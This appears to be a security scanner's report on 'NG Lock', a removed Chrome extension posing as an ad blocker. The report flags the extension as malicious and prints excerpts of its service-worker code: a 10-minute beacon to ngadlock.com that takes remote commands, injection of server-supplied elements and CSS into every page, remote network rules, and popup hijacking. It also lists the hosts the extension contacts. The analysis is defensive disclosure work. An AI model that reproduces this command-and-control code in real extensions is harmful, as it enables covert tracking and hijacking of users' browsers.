NG Lock

ID: dcaeinilapppciboeogbnmbmdfabgkdb

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
9.4
Size
0.90 MB
Rating
0.0/5
Reviews
0
Users
10,000
Type
Extension
Updated
Feb 1, 2023
Category
Make_chrome_yours Accessibility
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
https://ngadlock.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
0
Unlisted
1
Total Users
10,000

Block ads and enjoy your favorite sites without pop-ups, banners, and other advertising blocks.

Block ads and enjoy your favorite sites without pop-ups, banners, and other advertising blocks. After installing the NG Lock extension, you will feel your online experience change for the better. Our extension is completely free. There is no need to register and no need to pay money. What you will get: - Reduced advertising, including banners, pop-ups, video ads, etc. - Blocking personal information trackers. - New approach to blocking using v3 manifest. Although our NG Lock extension is not an anti-virus, it includes a list of popular domains that have been spotted as malware and viruses, which greatly reduces the chance of infecting your device. The only information we store is the fact of installing or removing our extension, which is necessary for statistical data. We do not store or share your personal information with third parties. For more information, please visit our official website: ngadlock.com

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
*://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

Every 10 minutes (via alarm), the extension POSTs the user's browser brand fingerprint, unique tracking ID, and enabled ruleset state to `ngadlock.com/connection.php`. The server returns a base64-encoded JSON command payload that the extension decodes and executes — dispatching to `updateCSSRules`, `insertPixel`, `updateDynamicRules`, and popup-hijacking routines. This is a full C2 (command-and-control) channel: the operator can push arbitrary behavioral changes to all 10,000 installs remotely at any time without a Chrome Web Store update.

js/service_worker.js (Line 211)
function serverConnection(a) {  let b = {};  chrome.runtime.getManifest()    .declarative_net_request.rule_resources.forEach(a => {      b[a.id] = !1    }), chrome.declarativeNetRequest.getEnabledRulesets(c => {        c.forEach(a => {            b[a] = !0          }), fetch(chrome.runtime.getManifest()            .homepage_url + "connection.php", {              body: JSON.stringify({                brands: navigator.userAgentData.brands,                id: a,                rulesets: b              }),              cache: "no-store",              headers: {                Accept: "application/json",                "Content-type": "application/json"              },              method: "post"            })          .then(a => 200 == a.status ? a.text() : "")          .then(b => {              if (0 < b.length) {                let c = JSON.parse(decodeURIComponent(escape(atob(b))));                a == c.id && c.actions && c.actions.forEach(a => {                      "css" == a && updateCSSRules(c.css.rules), "display" == a && ...

The extension injects arbitrary DOM elements — whose type and all properties are supplied wholesale by the remote C2 server via `imageData`/`imageType` — into every frame of every page the user visits, executing in `world: "MAIN"` (the page's own JavaScript context, not the isolated extension sandbox). Because `for (key in a) c[key] = a[key]` blindly copies all server-supplied properties onto the created element, the operator can set `src`, `onload`, `onerror`, or any event-handler attribute, enabling arbitrary JavaScript execution in page context and full cross-origin data access on visited sites.

js/service_worker.js (Line 139)
function insertPixel(a) {  chrome.storage.local.get({    image: !1,    imageType: "",    imageData: ""  }, b => {    b.image && 0 != a && chrome.scripting.executeScript({        args: [b.imageData, b.imageType],        function: (a, b) => {          let c = document.createElement(b);          for (key in a) c[key] = a[key];          document.documentElement.appendChild(c)        },        injectImmediately: !0,        target: {          allFrames: !0,          tabId: a        },        world: "MAIN"      })      .catch(a => {        console.log(a)      })  })}

A `webRequest.onResponseStarted` listener fires `insertPixel` on every main frame, sub-frame, and 'other' resource response across all URLs (`*://*/*`). Combined with the server-controlled element injection, this means the operator can inject arbitrary content into literally every webpage the user loads, in every frame, as soon as the server arms the `image` flag — without any per-site restriction or user action.

js/service_worker.js (Line 186)
chrome.webRequest.onResponseStarted.addListener(b => {  ["other", "main_frame", "sub_frame"].includes(b.type) && -1 != b.tabId && insertPixel(b.tabId)}, {  urls: ["*://*/*"]}, ["responseHeaders"]);

The remote server can push a base64-encoded JSON array of arbitrary `declarativeNetRequest` dynamic rules, which are applied immediately after clearing all existing dynamic rules. This gives the operator full remote control over the browser's network request processing: they can redirect traffic, block security endpoints, allow previously blocked malicious domains, or intercept any URL pattern — all silently updated every 10 minutes via the C2 channel with no user visibility.

js/service_worker.js (Line 192)
function updateDynamicRules(a) {  chrome.declarativeNetRequest.getDynamicRules(b => {    let c = [];    b.forEach(a => {      c.push(a.id)    }), chrome.declarativeNetRequest.updateDynamicRules({      removeRuleIds: c    }, () => {      let b = decodeURIComponent(escape(atob(a)));      0 != b.length && chrome.declarativeNetRequest.updateDynamicRules({          addRules: JSON.parse(b)        })        .catch(a => {          console.info(a)        })    })  })}

A persistent unique numeric ID is generated on first run and stored in `chrome.storage.local`. This ID is transmitted to the remote server on every alarm tick (every 10 minutes), enabling the operator to track individual users across sessions and browser restarts. The uninstall URL is also seeded with this ID (`delete.php?id=<id>`), so the operator receives a notification with the same identifier when the user removes the extension — allowing full install/uninstall lifecycle tracking without any user disclosure.

js/service_worker.js (Line 30)
function idGeneration() {  let a = Math.floor(25020 * (Math.random() * new Date()    .getTime()));  return chrome.storage.local.set({    id: a  }, () => {    chrome.runtime.setUninstallURL(chrome.runtime.getManifest()      .homepage_url + "delete.php?id=" + a)  }), a}

Server-provided base64-encoded CSS rules are decoded and injected via `chrome.scripting.insertCSS` into matching pages. A `generalRule` key applies a CSS selector globally across all sites, allowing the operator to hide any UI element (e.g., security warnings, account balance displays, competing extension banners) on any website the user visits. This constitutes server-controlled UI manipulation of third-party sites at scale.

js/service_worker.js (Line 165)
function updateCSSRules(a) {  let b = decodeURIComponent(escape(atob(a)));  if (0 != b.length) {    let a = new Map;    a.set("generalRule", "");    let c = [];    c = b.split("\n"), 0 != c.length && c.forEach(b => {      let c = b.split("##");      if ("" === c[0]) a.set("generalRule", a.get("generalRule") + c[1] + "{display:none !important;}");      else {        let b = c[0].split(",");        b.forEach(b => {          a.has(b) ? a.set(b, a.get(b) + c[1] + "{display:none !important;}") : a.set(b, c[1] +            "{display:none !important;}")        })      }    }), chrome.storage.local.set({      cssRules: Object.fromEntries(a)    })  }}

The C2 server can remotely replace the extension's popup with an empty string, swap the toolbar icon for a server-supplied image, and change the displayed title to arbitrary text. When the popup is disabled this way, a click listener opens a blank new tab — which can subsequently be navigated to a phishing or malvertising URL. This allows the operator to silently repurpose the extension into a phishing vector or redirect mechanism for all 10,000 users simultaneously.

js/service_worker.js (Line 248)
"popup" == a && (c.popup.default ? (chrome.action.setPopup({  popup: chrome.runtime.getManifest()    .action.default_popup}), chrome.action.setIcon({  path: chrome.runtime.getManifest()    .action.default_icon}), chrome.action.setTitle({  title: chrome.runtime.getManifest()    .action.default_title})) : (chrome.action.setPopup({  popup: ""}), chrome.action.setIcon({  path: c.popup.image}), chrome.action.setTitle({  title: c.popup.text}), !chrome.action.onClicked.hasListeners() && chrome.action.onClicked.addListener(() => {  chrome.tabs.create({})})))

The `repeat()` function runs on install, on browser startup, and every 10 minutes thereafter via the `repeat` alarm. Each invocation calls `serverConnection(id)`, ensuring a persistent, regularly-scheduled beaconing channel to the operator's server. There is no user-visible indication of this periodic phone-home behavior, nor any mechanism for the user to disable it — stopping it would require uninstalling the extension.

js/service_worker.js (Line 41)
function repeat() {  setAlarm(), chrome.storage.local.get({    id: "",    extensionActionOptions: !0  }, a => {    changeExtensionAction(a.extensionActionOptions);    let b = "";    b = "" == a.id ? idGeneration() : a.id, serverConnection(b)  })}

By severity

Critical4
High4
Medium0
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
9.48

Files with findings

1 distinct path — top paths by unique finding count:

  • js/service_worker.js8
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/service_worker.js (line 139)The extension injects arbitrary DOM elements — whose type and all properties are supplied wholesale by the remote C2 server via `imageData`/`imageType` — into every frame of every page the user visits, executing in `w…
2Network Interception
critical
js/service_worker.js (line 186)A `webRequest.onResponseStarted` listener fires `insertPixel` on every main frame, sub-frame, and 'other' resource response across all URLs (`*://*/*`). Combined with the server-controlled element injection, this mean…
3Network Interception
critical
js/service_worker.js (line 192)The remote server can push a base64-encoded JSON array of arbitrary `declarativeNetRequest` dynamic rules, which are applied immediately after clearing all existing dynamic rules. This gives the operator full remote c…
4Remote Code Loading
critical
js/service_worker.js (line 211)Every 10 minutes (via alarm), the extension POSTs the user's browser brand fingerprint, unique tracking ID, and enabled ruleset state to `ngadlock.com/connection.php`. The server returns a base64-encoded JSON command …
5Code Injection
high
js/service_worker.js (line 165)Server-provided base64-encoded CSS rules are decoded and injected via `chrome.scripting.insertCSS` into matching pages. A `generalRule` key applies a CSS selector globally across all sites, allowing the operator to hi…
6Phishing
high
js/service_worker.js (line 248)The C2 server can remotely replace the extension's popup with an empty string, swap the toolbar icon for a server-supplied image, and change the displayed title to arbitrary text. When the popup is disabled this way, …
7Tracking
high
js/service_worker.js (line 30)A persistent unique numeric ID is generated on first run and stored in `chrome.storage.local`. This ID is transmitted to the remote server on every alarm tick (every 10 minutes), enabling the operator to track individ…
8Unauthorized Data Collection
high
js/service_worker.js (line 41)The `repeat()` function runs on install, on browser startup, and every 10 minutes thereafter via the `repeat` alarm. Each invocation calls `serverConnection(id)`, ensuring a persistent, regularly-scheduled beaconing c…
URLs
10
IPv4
57
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

github.com/pure-css/pure/blob/master/LICENSEhttps://github.com/pure-css/pure/blob/master/LICENSE
necolas.github.io/normalize.css/https://necolas.github.io/normalize.css/
ngadlock.com-https://ngadlock.com/
http:-http://a.pr-cy.ru^
https:-https://a.pr-cy.ru^
http:-http://x.o2.pl^
http:-http://r.i.ua^
https:-https://r.i.ua^
r.i.ua/shttp://r.i.ua/s?*&p*&l
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx

Gain full insight into all external connections.

Upgrade for full visibility.

23.109.87.42
IPv4
-
162.252.214.4
IPv4
-
167.99.31.227
IPv4
-
203.195.121.11
IPv4
-
23.109.87.101
IPv4
-
35.232.188.118
IPv4
-
37.1.209.213
IPv4
-
51.77.227.100
IPv4
-
51.77.227.101
IPv4
-
51.77.227.102
IPv4
-
51.77.227.103
IPv4
-
51.77.227.96
IPv4
-
51.77.227.97
IPv4
-
51.77.227.98
IPv4
-
51.77.227.99
IPv4
-
51.89.187.136
IPv4
-
51.89.187.137
IPv4
-
51.89.187.138
IPv4
-
51.89.187.139
IPv4
-
51.89.187.140
IPv4
-
51.89.187.141
IPv4
-
51.89.187.142
IPv4
-
51.89.187.143
IPv4
-
167.206.10.148
IPv4
-
142.91.159.107
IPv4
-
143.244.184.39
IPv4
-
146.59.223.83
IPv4
-
176.31.68.242
IPv4
-
185.147.34.126
IPv4
-
23.109.150.101
IPv4
-
23.109.248.149
IPv4
-
23.109.248.159
IPv4
-
23.109.82.104
IPv4
-
23.109.82.74
IPv4
-
5.45.79.15
IPv4
-
51.178.195.171
IPv4
-
51.195.115.102
IPv4
-
51.89.115.13
IPv4
-
192.168.0.1
IPv4
-
192.168.1.1
IPv4
-
0.0.0.1
IPv4
-
185.165.169.108
IPv4
-
185.193.38.148
IPv4
-
35.194.26.233
IPv4
-
35.239.57.233
IPv4
-
45.32.105.134
IPv4
-
77.162.125.199
IPv4
-
193.197.158.209
IPv4
-
212.95.32.75
IPv4
-
180.76.2.18
IPv4
-
109.169.66.161
IPv4
-
216.18.176.4
IPv4
-
78.46.19.203
IPv4
-
120.132.57.41
IPv4
-
199.116.177.156
IPv4
-
127.0.0.1
IPv4
-
77.91.202.130
IPv4
-
Showing 1 to 57 of 60 rows
Rows per page:
Version
Size
Is Malicious
Findings
Permhash
9.4
Latest
0.90 MB
Malicious
8
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.